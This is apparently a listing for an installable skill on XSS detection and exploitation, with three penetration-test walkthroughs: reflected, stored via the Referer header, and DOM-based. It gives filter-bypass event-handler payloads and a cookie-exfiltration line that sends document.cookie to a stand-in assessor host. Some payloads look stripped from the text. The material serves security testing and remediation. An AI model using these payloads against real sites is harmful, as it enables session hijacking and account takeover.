Xss Detection And Exploitation
by @quochungto
Detect, exploit, and remediate cross-site scripting (XSS) vulnerabilities across all three varieties — reflected, stored, and DOM-based — in web applications...
Example 1: Reflected XSS in an Error Page (Attribute Context)
Scenario: A penetration test of a retail web application. The error page at /error returns a message URL parameter verbatim inside an HTML attribute.
Trigger: While mapping the application, submitting test string myxsstest001 to the message parameter — source shows: . The reflection is inside a quoted attribute value.
Process:
1. Confirm context: reflection is inside value="..." of an tag
2. Initial payload to break out: "> — verify it appears unmodified in the response
3. Application blocks : test alternate approach — inject an event handler without closing the tag: " autofocus onfocus="alert(document.cookie)
4. This payload does not require closing the tag or injecting angle brackets; it passes the filter
5. Confirm execution in browser; escalate to session hijacking payload: " autofocus onfocus="var i=new Image;i.src='//assessor-server.example.com/log?c='+document.cookie
Output: Reflected XSS confirmed in message parameter, attribute context, exploitable via event handler injection. Filter bypass achieved by avoiding angle brackets. Session token exfiltration demonstrated.
Example 2: Stored XSS via HTTP Referer Header in Admin Log Viewer
Scenario: A security assessment of a content management system. The admin interface displays an access log rendered in-browser. The application stores HTTP Referer header values in the log without sanitization.
Trigger: During stored XSS coverage, submitting test string reftest-REFERER as the Referer header to key pages — when reviewing the admin log interface, reftest-REFERER appears in a table cell. This is a stored XSS candidate in a high-privilege context.
Process:
1. Identify the log display page URL by authenticating as admin
2. Craft a request to any application page with Referer:
3. Check admin log view — script executes
4. Application sanitizes : switch to
5. Confirm execution; escalate to session harvesting payload targeting admin
6. Document the attack chain: low-privilege action (ordinary web request) → stored in log → executes when admin views log → full admin session compromise
Output: Stored XSS via Referer header confirmed. Payload executes in administrator's browser context without any admin action beyond routine log review. Critical severity.
Example 3: DOM-Based XSS via Fragment Identifier
Scenario: A financial application uses client-side JavaScript to display personalized messages. The page script does var msg = location.hash.substring(1); document.write(msg);. The server never sees the fragment.
Trigger: Code review of the page's JavaScript during DOM XSS source analysis — document.location (source) flows directly to document.write (sink) without sanitization.
Process:
1. No server-response test will find this; it requires source review
2. Craft test URL: https://app.example.com/welcome#
3. Browser renders the page; client-side script extracts fragment and writes it to DOM; onerror fires; cookie dialog appears
4. Server-side filter testing: the fragment is never sent to the server, so server-side WAF/filters are irrelevant
5. Escalate payload to session exfiltration; document the source-to-sink path in the report
Output: DOM-based XSS confirmed. document.location.hash flows unsanitized to document.write. No server-side control can prevent this — client-side output encoding at the document.write call is the required fix.
clawhub install bookforge-xss-detection-and-exploitation